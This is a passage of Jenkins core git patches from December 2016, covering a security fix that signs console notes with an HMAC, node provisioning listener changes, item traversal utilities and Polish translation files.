public void moveItem() throws Exception { File tmp = tmpRule.getRoot(); -- GitLab From f72bcaca0dd14312092a0bcbdd8e4792d6e56d44 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Wed, 14 Dec 2016 17:45:35 -0500 Subject: [PATCH 587/811] [SECURITY-382] Sign console notes with a MAC. --- .../main/java/hudson/console/ConsoleNote.java | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) diff --git a/core/src/main/java/hudson/console/ConsoleNote.java b/core/src/main/java/hudson/console/ConsoleNote.java index c27fec6364..3e8767ad22 100644 --- a/core/src/main/java/hudson/console/ConsoleNote.java +++ b/core/src/main/java/hudson/console/ConsoleNote.java @@ -51,6 +51,7 @@ import java.util.Collection; import java.util.List; import com.jcraft.jzlib.GZIPInputStream; import com.jcraft.jzlib.GZIPOutputStream; +import jenkins.security.HMACConfidentialKey; /** * Data that hangs off from a console output. @@ -121,6 +122,9 @@ import com.jcraft.jzlib.GZIPOutputStream; * @since 1.349 */ public abstract class ConsoleNote implements Serializable, Describable>, ExtensionPoint { + + private static final HMACConfidentialKey MAC = new HMACConfidentialKey(ConsoleNote.class, "MAC"); + /** * When the line of a console output that this annotation is attached is read by someone, * a new {@link ConsoleNote} is de-serialized and this method is invoked to annotate that line. @@ -182,6 +186,9 @@ public abstract class ConsoleNote implements Serializable, Describable implements Serializable, Describable Date: Thu, 15 Dec 2016 08:25:23 +0100 Subject: [PATCH 588/811] [FIX JENKINS-40053]: Use english as default-locale ResourceBundleUtilTest#test_unknown_locale (#2650) * [FIX JENKINS-40053]: Use english as default-locale, so the ResourceBundleUtilTest runs also on systems with other default os locales. * [FIX JENKINS-40053]: Cleanup Locale after test to avoid impact on other tests. * [FIX JENKINS-40053]: Use english as default-locale only in the required test method. * [FIX JENKINS-40053]: Cleanup unused imports. --- .../java/jenkins/util/ResourceBundleUtilTest.java | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/core/src/test/java/jenkins/util/ResourceBundleUtilTest.java b/core/src/test/java/jenkins/util/ResourceBundleUtilTest.java index 1e8c24b569..137bffb09b 100644 --- a/core/src/test/java/jenkins/util/ResourceBundleUtilTest.java +++ b/core/src/test/java/jenkins/util/ResourceBundleUtilTest.java @@ -54,9 +54,16 @@ public class ResourceBundleUtilTest { */ @Test public void test_unknown_locale() { - JSONObject bundle = ResourceBundleUtil.getBundle("hudson.logging.Messages", new Locale("kok")); // konkani - Assert.assertEquals("Initialing log recorders", bundle.getString("LogRecorderManager.init")); + Locale defaultOSLocale = Locale.getDefault(); + try { + //Set Default-Locale to english + Locale.setDefault(new Locale("en", "US")); + JSONObject bundle = ResourceBundleUtil.getBundle("hudson.logging.Messages", new Locale("kok")); // konkani + Assert.assertEquals("Initialing log recorders", bundle.getString("LogRecorderManager.init")); + }finally{ + Locale.setDefault(defaultOSLocale); + } } /** -- GitLab From 52ea389a5e82fa837c9a9db8043061cc94383272 Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Thu, 15 Dec 2016 10:25:04 +0000 Subject: [PATCH 589/811] [JENKINS-40252] Address code review comments --- core/src/main/java/hudson/model/Items.java | 23 ++++++++++++++++------ 1 file changed, 17 insertions(+), 6 deletions(-) diff --git a/core/src/main/java/hudson/model/Items.java b/core/src/main/java/hudson/model/Items.java index 66108998a2..0ddc6e800c 100644 --- a/core/src/main/java/hudson/model/Items.java +++ b/core/src/main/java/hudson/model/Items.java @@ -351,7 +351,12 @@ public class Items { /** * Gets all the {@link Item}s recursively in the {@link ItemGroup} tree - * and filter them by the given type. + * and filter them by the given type. The returned list will represent a snapshot view of the items present at some + * time during the call. If items are moved during the call, depending on the move, it may be possible for some + * items to escape the snapshot entirely. + *

                                        + * If you do not need to iterate all items, or if the order of the items is not required, consider using + * {@link #allItems(ItemGroup, Class)} instead. * * @since 1.512 */ @@ -387,8 +392,11 @@ public class Items { } /** - * Gets all the {@link Item}s recursively in the {@link ItemGroup} tree visible to - * {@link Jenkins#getAuthentication()} without concern for the order in which items are returned. + * Gets a read-only view of all the {@link Item}s recursively in the {@link ItemGroup} tree visible to + * {@link Jenkins#getAuthentication()} without concern for the order in which items are returned. Each iteration + * of the view will be "live" reflecting the items available between the time the iteration was started and the + * time the iteration was completed, however if items are moved during an iteration - depending on the move - it + * may be possible for such items to escape the entire iteration. * * @param root the root. * @param type the type. @@ -402,8 +410,11 @@ public class Items { /** - * Gets all the {@link Item}s recursively in the {@link ItemGroup} tree visible to the supplied authentication - * without concern for the order in which items are returned. + * Gets a read-only view all the {@link Item}s recursively in the {@link ItemGroup} tree visible to the supplied + * authentication without concern for the order in which items are returned. Each iteration + * of the view will be "live" reflecting the items available between the time the iteration was started and the + * time the iteration was completed, however if items are moved during an iteration - depending on the move - it + * may be possible for such items to escape the entire iteration. * * @param root the root. * @param type the type. @@ -506,7 +517,7 @@ public class Items { */ private final Stack stack = new Stack<>(); /** - * The iterator of the current {@link ItemGroup} we + * The iterator of the current {@link ItemGroup} we are iterating. */ private Iterator delegate = null; /** -- GitLab From 37806a53c87855cbdd9eda073600ad828ec6f5c0 Mon Sep 17 00:00:00 2001 From: kbrowder Date: Thu, 15 Dec 2016 05:31:29 -0500 Subject: [PATCH 590/811] [FIXED JENKINS-40286] - Delegate JnlpMac computation to SlaveComputers if possible (#2658) [FIXED JENKINS-40286] - Delegate JnlpMac computation to SlaveComputers if possible --- .../slaves/EncryptedSlaveAgentJnlpFile.java | 17 +++++++++++++---- 1 file changed, 13 insertions(+), 4 deletions(-) diff --git a/core/src/main/java/jenkins/slaves/EncryptedSlaveAgentJnlpFile.java b/core/src/main/java/jenkins/slaves/EncryptedSlaveAgentJnlpFile.java index feb11427a8..9d152a68f0 100644 --- a/core/src/main/java/jenkins/slaves/EncryptedSlaveAgentJnlpFile.java +++ b/core/src/main/java/jenkins/slaves/EncryptedSlaveAgentJnlpFile.java @@ -4,6 +4,7 @@ import hudson.security.AccessControlled; import hudson.security.Permission; import hudson.slaves.SlaveComputer; import hudson.util.Secret; +import hudson.Util; import org.kohsuke.stapler.HttpResponse; import org.kohsuke.stapler.ResponseImpl; import org.kohsuke.stapler.StaplerRequest; @@ -36,7 +37,8 @@ import java.security.SecureRandom; public class EncryptedSlaveAgentJnlpFile implements HttpResponse { /** * The object that owns the Jelly view that renders JNLP file. - * For example {@link SlaveComputer}. + * This is typically a {@link SlaveComputer} and if so we'll use {@link SlaveComputer#getJnlpMac()} + * to determine the secret HMAC code. */ private final AccessControlled it; /** @@ -44,9 +46,11 @@ public class EncryptedSlaveAgentJnlpFile implements HttpResponse { */ private final String viewName; /** - * Name of the agent, which is used to determine secret HMAC code. + * Name of the agent, which is used to determine secret HMAC code if {@link #it} + * is not a {@link SlaveComputer}. */ private final String slaveName; + /** * Permission that allows plain text access. Checked against {@link #it}. */ @@ -55,8 +59,8 @@ public class EncryptedSlaveAgentJnlpFile implements HttpResponse { public EncryptedSlaveAgentJnlpFile(AccessControlled it, String viewName, String slaveName, Permission connectPermission) { this.it = it; this.viewName = viewName; - this.slaveName = slaveName; this.connectPermission = connectPermission; + this.slaveName = slaveName; } @Override @@ -77,7 +81,12 @@ public class EncryptedSlaveAgentJnlpFile implements HttpResponse { byte[] iv = new byte[128/8]; new SecureRandom().nextBytes(iv); - byte[] jnlpMac = JnlpSlaveAgentProtocol.SLAVE_SECRET.mac(slaveName.getBytes("UTF-8")); + byte[] jnlpMac; + if(it instanceof SlaveComputer) { + jnlpMac = Util.fromHexString(((SlaveComputer)it).getJnlpMac()); + } else { + jnlpMac = JnlpSlaveAgentProtocol.SLAVE_SECRET.mac(slaveName.getBytes("UTF-8")); + } SecretKey key = new SecretKeySpec(jnlpMac, 0, /* export restrictions */ 128 / 8, "AES"); byte[] encrypted; try { -- GitLab From ab849a3054dad1b64bedb9b74e0e950368989195 Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Thu, 15 Dec 2016 10:33:04 +0000 Subject: [PATCH 591/811] [JENKINS-40252] Expose utility comparator singletons --- core/src/main/java/hudson/model/Items.java | 52 +++++++++++++++++----- 1 file changed, 40 insertions(+), 12 deletions(-) diff --git a/core/src/main/java/hudson/model/Items.java b/core/src/main/java/hudson/model/Items.java index 0ddc6e800c..97923dda3e 100644 --- a/core/src/main/java/hudson/model/Items.java +++ b/core/src/main/java/hudson/model/Items.java @@ -80,6 +80,44 @@ public class Items { return false; } }; + /** + * A comparator of {@link Item} instances that uses a case-insensitive comparison of {@link Item#getName()}. + * If you are replacing {@link #getAllItems(ItemGroup, Class)} with {@link #allItems(ItemGroup, Class)} and + * need to restore the sort order of a further filtered result, you probably want {@link #BY_FULL_NAME}. + * + * @since FIXME + */ + public static final Comparator BY_NAME = new Comparator() { + @Override public int compare(Item i1, Item i2) { + return name(i1).compareToIgnoreCase(name(i2)); + } + + String name(Item i) { + String n = i.getName(); + if (i instanceof ItemGroup) { + n += '/'; + } + return n; + } + }; + /** + * A comparator of {@link Item} instances that uses a case-insensitive comparison of {@link Item#getFullName()}. + * + * @since FIXME + */ + public static final Comparator BY_FULL_NAME = new Comparator() { + @Override public int compare(Item i1, Item i2) { + return name(i1).compareToIgnoreCase(name(i2)); + } + + String name(Item i) { + String n = i.getFullName(); + if (i instanceof ItemGroup) { + n += '/'; + } + return n; + } + }; /** * Runs a block while making {@link #currentlyUpdatingByXml} be temporarily true. @@ -367,18 +405,8 @@ public class Items { } private static void getAllItems(final ItemGroup root, Class type, List r) { List items = new ArrayList(((ItemGroup) root).getItems()); - Collections.sort(items, new Comparator() { - @Override public int compare(Item i1, Item i2) { - return name(i1).compareToIgnoreCase(name(i2)); - } - String name(Item i) { - String n = i.getName(); - if (i instanceof ItemGroup) { - n += '/'; - } - return n; - } - }); + // because we add items depth first, we can use the quicker BY_NAME comparison + Collections.sort(items, BY_NAME); for (Item i : items) { if (type.isInstance(i)) { if (i.hasPermission(Item.READ)) { -- GitLab From 15e69874190ce56e228b823aa1584b8497fc673b Mon Sep 17 00:00:00 2001 From: Pavel Janousek Date: Thu, 15 Dec 2016 11:34:12 +0100 Subject: [PATCH 592/811] [JENKINS-38903] Split Exception handling for node provision and adding to Jenkins (#2591) * [JENKINS-38903] Split Exception handling for node provision and adding to Jenkins * Defined new static helper methods that ensure exceptions are not propagated * Added onCommit and onRollback signals to CloudProvisioningListener Added the new signals to be able to notify the state after Jenkins.addNode(Node) All Listener's calls moved to an exception-tolerant static helpers * Added @Nonnull annotation Changed the method signature CloudProvisioningListener.onRollback() * Re-throw Error in the fireOnXXX() Removed re-thrown Throwable in the main try/catch block (an instance of the Error is handled separately) * Handling of Error changed * Fixed Error instance handling in NodeProvisioner.fireOnFailure() --- .../slaves/CloudProvisioningListener.java | 33 ++++- .../java/hudson/slaves/NodeProvisioner.java | 137 ++++++++++++++---- 2 files changed, 142 insertions(+), 28 deletions(-) diff --git a/core/src/main/java/hudson/slaves/CloudProvisioningListener.java b/core/src/main/java/hudson/slaves/CloudProvisioningListener.java index 7789824d5f..e90a2601b8 100644 --- a/core/src/main/java/hudson/slaves/CloudProvisioningListener.java +++ b/core/src/main/java/hudson/slaves/CloudProvisioningListener.java @@ -5,9 +5,12 @@ import hudson.ExtensionPoint; import hudson.model.Label; import hudson.model.Node; import hudson.model.queue.CauseOfBlockage; +import jenkins.model.Jenkins; import java.util.Collection; +import javax.annotation.Nonnull; + /** * Allows extensions to be notified of events in any {@link Cloud} and to prevent * provisioning from a {@link Cloud}. @@ -53,6 +56,7 @@ public abstract class CloudProvisioningListener implements ExtensionPoint { /** * Called when the {@link NodeProvisioner.PlannedNode#future} completes. + * * @param plannedNode the plannedNode which resulted in the node being provisioned * @param node the node which has been provisioned by the cloud */ @@ -60,21 +64,48 @@ public abstract class CloudProvisioningListener implements ExtensionPoint { } + /** + * Called when the nodeis fully connected in the Jenkins. + * + * @param plannedNode the plannedNode which resulted in the node being provisioned + * @param node the node which has been provisioned by the cloud + * + * @since TODO + */ + public void onCommit(@Nonnull NodeProvisioner.PlannedNode plannedNode, @Nonnull Node node) { + // Noop by default + } + /** * Called when {@link NodeProvisioner.PlannedNode#future#get()} throws an exception. * - * @param plannedNode the planned node which failed to launch + * @param plannedNode the planned node which failed to provision * @param t the exception */ public void onFailure(NodeProvisioner.PlannedNode plannedNode, Throwable t) { } + /** + * Called when {@link Jenkins#addNode(Node)} throws an exception. + * + * @param plannedNode the plannedNode which resulted in the node being provisioned + * @param node the node which has been provisioned by the cloud + * @param t the exception + * + * @since TODO + */ + public void onRollback(@Nonnull NodeProvisioner.PlannedNode plannedNode, @Nonnull Node node, + @Nonnull Throwable t) { + // Noop by default + } + /** * All the registered {@link CloudProvisioningListener}s. */ public static ExtensionList all() { return ExtensionList.lookup(CloudProvisioningListener.class); } + } diff --git a/core/src/main/java/hudson/slaves/NodeProvisioner.java b/core/src/main/java/hudson/slaves/NodeProvisioner.java index bcde3623b4..af141a048f 100644 --- a/core/src/main/java/hudson/slaves/NodeProvisioner.java +++ b/core/src/main/java/hudson/slaves/NodeProvisioner.java @@ -23,6 +23,7 @@ */ package hudson.slaves; +import hudson.AbortException; import hudson.ExtensionPoint; import hudson.model.*; import jenkins.model.Jenkins; @@ -217,36 +218,48 @@ public class NodeProvisioner { PlannedNode f = itr.next(); if (f.future.isDone()) { try { - Node node = f.future.get(); - for (CloudProvisioningListener cl : CloudProvisioningListener.all()) { - cl.onComplete(f, node); - } - - jenkins.addNode(node); - LOGGER.log(Level.INFO, - "{0} provisioning successfully completed. " - + "We have now {1,number,integer} computer(s)", - new Object[]{f.displayName, jenkins.getComputers().length}); - } catch (InterruptedException e) { - throw new AssertionError(e); // since we confirmed that the future is already done - } catch (ExecutionException e) { - LOGGER.log(Level.WARNING, "Provisioned agent " + f.displayName + " failed to launch", - e.getCause()); - for (CloudProvisioningListener cl : CloudProvisioningListener.all()) { - cl.onFailure(f, e.getCause()); + Node node = null; + try { + node = f.future.get(); + } catch (InterruptedException e) { + throw new AssertionError("InterruptedException occurred", e); // since we confirmed that the future is already done + } catch (ExecutionException e) { + Throwable cause = e.getCause(); + if (!(cause instanceof AbortException)) { + LOGGER.log(Level.WARNING, + "Unexpected exception encountered while provisioning agent " + + f.displayName, + cause); + } + fireOnFailure(f, cause); } - } catch (IOException e) { - LOGGER.log(Level.WARNING, "Provisioned agent " + f.displayName + " failed to launch", - e); - for (CloudProvisioningListener cl : CloudProvisioningListener.all()) { - cl.onFailure(f, e); + + if (node != null) { + fireOnComplete(f, node); + + try { + jenkins.addNode(node); + LOGGER.log(Level.INFO, + "{0} provisioning successfully completed. " + + "We have now {1,number,integer} computer(s)", + new Object[]{f.displayName, jenkins.getComputers().length}); + fireOnCommit(f, node); + } catch (IOException e) { + LOGGER.log(Level.WARNING, + "Provisioned agent " + f.displayName + " failed to launch", + e); + fireOnRollback(f, node, e); + } } } catch (Error e) { // we are not supposed to try and recover from Errors throw e; } catch (Throwable e) { - LOGGER.log(Level.SEVERE, "Unexpected uncaught exception encountered while " - + "processing provisioned agent " + f.displayName, e); + // Just log it + LOGGER.log(Level.SEVERE, + "Unexpected uncaught exception encountered while processing agent " + + f.displayName, + e); } finally { while (true) { List orig = pendingLaunches.get(); @@ -701,9 +714,7 @@ public class NodeProvisioner { Collection additionalCapacities = c.provision(state.getLabel(), workloadToProvision); - for (CloudProvisioningListener cl : CloudProvisioningListener.all()) { - cl.onStarted(c, state.getLabel(), additionalCapacities); - } + fireOnStarted(c, state.getLabel(), additionalCapacities); for (PlannedNode ac : additionalCapacities) { excessWorkload -= ac.numExecutors; @@ -817,4 +828,76 @@ public class NodeProvisioner { } return defaultValue; } + + private static void fireOnFailure(final NodeProvisioner.PlannedNode plannedNode, final Throwable cause) { + for (CloudProvisioningListener cl : CloudProvisioningListener.all()) { + try { + cl.onFailure(plannedNode, cause); + } catch (Error e) { + throw e; + } catch (Throwable e) { + LOGGER.log(Level.SEVERE, "Unexpected uncaught exception encountered while " + + "processing onFailure() listener call in " + cl + " for agent " + + plannedNode.displayName, e); + } + } + } + + private static void fireOnRollback(final NodeProvisioner.PlannedNode plannedNode, final Node newNode, + final Throwable cause) { + for (CloudProvisioningListener cl : CloudProvisioningListener.all()) { + try { + cl.onRollback(plannedNode, newNode, cause); + } catch (Error e) { + throw e; + } catch (Throwable e) { + LOGGER.log(Level.SEVERE, "Unexpected uncaught exception encountered while " + + "processing onRollback() listener call in " + cl + " for agent " + + newNode.getDisplayName(), e); + } + } + } + + private static void fireOnComplete(final NodeProvisioner.PlannedNode plannedNode, final Node newNode) { + for (CloudProvisioningListener cl : CloudProvisioningListener.all()) { + try { + cl.onComplete(plannedNode, newNode); + } catch (Error e) { + throw e; + } catch (Throwable e) { + LOGGER.log(Level.SEVERE, "Unexpected uncaught exception encountered while " + + "processing onComplete() listener call in " + cl + " for agent " + + plannedNode.displayName, e); + } + } + } + + private static void fireOnCommit(final NodeProvisioner.PlannedNode plannedNode, final Node newNode) { + for (CloudProvisioningListener cl : CloudProvisioningListener.all()) { + try { + cl.onCommit(plannedNode, newNode); + } catch (Error e) { + throw e; + } catch (Throwable e) { + LOGGER.log(Level.SEVERE, "Unexpected uncaught exception encountered while " + + "processing onCommit() listener call in " + cl + " for agent " + + newNode.getDisplayName(), e); + } + } + } + + private static void fireOnStarted(final Cloud cloud, final Label label, + final Collection plannedNodes) { + for (CloudProvisioningListener cl : CloudProvisioningListener.all()) { + try { + cl.onStarted(cloud, label, plannedNodes); + } catch (Error e) { + throw e; + } catch (Throwable e) { + LOGGER.log(Level.SEVERE, "Unexpected uncaught exception encountered while " + + "processing onStarted() listener call in " + cl + " for label " + + label.toString(), e); + } + } + } } -- GitLab From 16254cb8ba1e3700869f79fb74ef1c79b34d0afc Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Thu, 15 Dec 2016 10:35:00 +0000 Subject: [PATCH 593/811] [JENKINS-40252] Switch to allItems where traversal order is not important - Also switch in cases where we have a subset that is likely significantly smaller and hence quicker to sort --- .../main/java/hudson/DependencyRunner.java | 2 +- core/src/main/java/hudson/model/Computer.java | 2 +- .../java/hudson/model/DependencyGraph.java | 6 +- core/src/main/java/hudson/model/Items.java | 7 +- core/src/main/java/hudson/model/Label.java | 3 +- core/src/main/java/hudson/model/ListView.java | 4 +- .../java/hudson/model/UsageStatistics.java | 22 +++-- core/src/main/java/hudson/model/User.java | 82 +++++++++++-------- .../hudson/model/WorkspaceCleanupThread.java | 2 +- .../hudson/model/listeners/ItemListener.java | 6 +- .../java/hudson/scm/AutoBrowserHolder.java | 2 +- .../hudson/search/CollectionSearchIndex.java | 12 ++- .../java/hudson/tasks/ArtifactArchiver.java | 2 +- .../main/java/hudson/tasks/BuildTrigger.java | 2 +- .../main/java/hudson/triggers/SCMTrigger.java | 18 +++- .../main/java/hudson/triggers/Trigger.java | 2 +- core/src/main/java/hudson/util/RunList.java | 9 +- core/src/main/java/jenkins/model/Jenkins.java | 27 +++++- .../jenkins/triggers/ReverseBuildTrigger.java | 4 +- 19 files changed, 139 insertions(+), 75 deletions(-) diff --git a/core/src/main/java/hudson/DependencyRunner.java b/core/src/main/java/hudson/DependencyRunner.java index acf0356769..03efea55e4 100644 --- a/core/src/main/java/hudson/DependencyRunner.java +++ b/core/src/main/java/hudson/DependencyRunner.java @@ -59,7 +59,7 @@ public class DependencyRunner implements Runnable { Set topLevelProjects = new HashSet(); // Get all top-level projects LOGGER.fine("assembling top level projects"); - for (AbstractProject p : Jenkins.getInstance().getAllItems(AbstractProject.class)) + for (AbstractProject p : Jenkins.getInstance().allItems(AbstractProject.class)) if (p.getUpstreamProjects().size() == 0) { LOGGER.fine("adding top level project " + p.getName()); topLevelProjects.add(p); diff --git a/core/src/main/java/hudson/model/Computer.java b/core/src/main/java/hudson/model/Computer.java index f372a5413c..661c7ec77f 100644 --- a/core/src/main/java/hudson/model/Computer.java +++ b/core/src/main/java/hudson/model/Computer.java @@ -778,7 +778,7 @@ public /*transient*/ abstract class Computer extends Actionable implements Acces } public RunList getBuilds() { - return new RunList(Jenkins.getInstance().getAllItems(Job.class)).node(getNode()); + return RunList.fromJobs(Jenkins.getInstance().allItems(Job.class)).node(getNode()); } /** diff --git a/core/src/main/java/hudson/model/DependencyGraph.java b/core/src/main/java/hudson/model/DependencyGraph.java index 41327d009d..237eba1b40 100644 --- a/core/src/main/java/hudson/model/DependencyGraph.java +++ b/core/src/main/java/hudson/model/DependencyGraph.java @@ -91,7 +91,7 @@ public class DependencyGraph implements Comparator { SecurityContext saveCtx = ACL.impersonate(ACL.SYSTEM); try { this.computationalData = new HashMap, Object>(); - for( AbstractProject p : getAllProjects() ) + for( AbstractProject p : Jenkins.getInstance().allItems(AbstractProject.class) ) p.buildDependencyGraph(this); forward = finalize(forward); @@ -147,10 +147,6 @@ public class DependencyGraph implements Comparator { topologicallySorted = Collections.unmodifiableList(topologicallySorted); } - Collection getAllProjects() { - return Jenkins.getInstance().getAllItems(AbstractProject.class); - } - /** * Special constructor for creating an empty graph */ diff --git a/core/src/main/java/hudson/model/Items.java b/core/src/main/java/hudson/model/Items.java index 97923dda3e..7ab3585386 100644 --- a/core/src/main/java/hudson/model/Items.java +++ b/core/src/main/java/hudson/model/Items.java @@ -464,10 +464,9 @@ public class Items { * @since 1.538 */ public static @CheckForNull T findNearest(Class type, String name, ItemGroup context) { - List projects = Jenkins.getInstance().getAllItems(type); - String[] names = new String[projects.size()]; - for (int i = 0; i < projects.size(); i++) { - names[i] = projects.get(i).getRelativeNameFrom(context); + List names = new ArrayList<>(); + for (T item: Jenkins.getInstance().allItems(type)) { + names.add(item.getRelativeNameFrom(context)); } String nearest = EditDistance.findNearest(name, names); return Jenkins.getInstance().getItem(nearest, context, type); diff --git a/core/src/main/java/hudson/model/Label.java b/core/src/main/java/hudson/model/Label.java index 74a9fa6901..6c36925850 100644 --- a/core/src/main/java/hudson/model/Label.java +++ b/core/src/main/java/hudson/model/Label.java @@ -362,10 +362,11 @@ public abstract class Label extends Actionable implements Comparable

                                        - There are dependency errors loading some plugins: + ${%Dependency errors}:
                                        • ${plugin.longName} v${plugin.version} diff --git a/core/src/main/resources/hudson/views/JobColumn/columnHeader_pl.properties b/core/src/main/resources/hudson/PluginWrapper/PluginWrapperAdministrativeMonitor/message.properties similarity index 89% rename from core/src/main/resources/hudson/views/JobColumn/columnHeader_pl.properties rename to core/src/main/resources/hudson/PluginWrapper/PluginWrapperAdministrativeMonitor/message.properties index 77f02c61ea..141be170a2 100644 --- a/core/src/main/resources/hudson/views/JobColumn/columnHeader_pl.properties +++ b/core/src/main/resources/hudson/PluginWrapper/PluginWrapperAdministrativeMonitor/message.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2004-2010, Sun Microsystems, Inc. +# Copyright (c) 2016, Damian Szczepanik # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -19,5 +19,5 @@ # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. - -Job=Zadanie +Correct=Napraw +Dependency\ errors=There are dependency errors loading some plugins diff --git a/core/src/main/resources/hudson/PluginWrapper/PluginWrapperAdministrativeMonitor/message_pl.properties b/core/src/main/resources/hudson/PluginWrapper/PluginWrapperAdministrativeMonitor/message_pl.properties new file mode 100644 index 0000000000..3d164add4d --- /dev/null +++ b/core/src/main/resources/hudson/PluginWrapper/PluginWrapperAdministrativeMonitor/message_pl.properties @@ -0,0 +1,23 @@ +# The MIT License +# +# Copyright (c) 2016, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +Correct=Napraw +Dependency\ errors=Wyst\u0105pi\u0142y b\u0142\u0119dy podczas \u0142adowania niekt\u00F3rych wtyczek diff --git a/core/src/main/resources/hudson/model/AbstractBuild/tasks_pl.properties b/core/src/main/resources/hudson/model/AbstractBuild/tasks_pl.properties index 5272dc29df..ef9d00dfba 100644 --- a/core/src/main/resources/hudson/model/AbstractBuild/tasks_pl.properties +++ b/core/src/main/resources/hudson/model/AbstractBuild/tasks_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2004-2010, Sun Microsystems, Inc. +# Copyright (c) 2004-2016, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -22,8 +22,5 @@ Back\ to\ Project=Powr\u00F3t do projektu Changes=Rejestr zmian -Console\ Output=Logi konsoli -View\ as\ plain\ text=Otw\u00F3rz jako niesformatowany tekst Edit\ Build\ Information=Edytuj informacje o zadaniu -View\ Build\ Information=Poka\u017C informacje o zadaniu -raw=surowe wyj\u015Bcie +Status=Status diff --git a/core/src/main/resources/hudson/model/BuildAuthorizationToken/config_pl.properties b/core/src/main/resources/hudson/model/BuildAuthorizationToken/config_pl.properties index f65ddfe8ab..d4a868f5bc 100644 --- a/core/src/main/resources/hudson/model/BuildAuthorizationToken/config_pl.properties +++ b/core/src/main/resources/hudson/model/BuildAuthorizationToken/config_pl.properties @@ -25,4 +25,3 @@ Authentication\ Token=Token autentyfikacji Trigger\ builds\ remotely=Wyzwalaj budowanie zdalnie e.g.,\ from\ scripts=np. przez skrypt or=lub -Use\ the\ following\ URL\ to\ trigger\ build\ remotely=U\u017Cyj tego adresu URL, aby wyzwoli\u0107 budowanie zdalnie diff --git a/core/src/main/resources/hudson/model/Computer/index_pl.properties b/core/src/main/resources/hudson/model/Computer/index_pl.properties index e73c0c4213..69053ca8f8 100644 --- a/core/src/main/resources/hudson/model/Computer/index_pl.properties +++ b/core/src/main/resources/hudson/model/Computer/index_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2004-2010, Sun Microsystems, Inc. +# Copyright (c) 2004-2016, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -20,7 +20,6 @@ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. -Labels:=Kategorie/tagi None=\u017Badne anonymous\ user=anonimowy u\u017Cytkownik submit.not.temporarilyOffline=Zaznacz tymczasowo ofline diff --git a/core/src/main/resources/hudson/model/ComputerSet/configure_pl.properties b/core/src/main/resources/hudson/model/ComputerSet/configure_pl.properties new file mode 100644 index 0000000000..136daf8966 --- /dev/null +++ b/core/src/main/resources/hudson/model/ComputerSet/configure_pl.properties @@ -0,0 +1,24 @@ +# The MIT License +# +# Copyright (c) 2016, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +Node\ Monitoring\ Configuration=Konfiguracja monitorowania w\u0119z\u0142\u00F3w +Preventive\ Node\ Monitoring=Profilaktyka monitorowania w\u0119z\u0142\u00F3w +OK=OK diff --git a/core/src/main/resources/lib/form/apply_de.properties b/core/src/main/resources/hudson/model/ComputerSet/new_pl.properties similarity index 89% rename from core/src/main/resources/lib/form/apply_de.properties rename to core/src/main/resources/hudson/model/ComputerSet/new_pl.properties index 28af2cf494..3c234b2e9b 100644 --- a/core/src/main/resources/lib/form/apply_de.properties +++ b/core/src/main/resources/hudson/model/ComputerSet/new_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2012, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributers +# Copyright (c) 2016, Damian Szczepanik # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -19,5 +19,5 @@ # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE 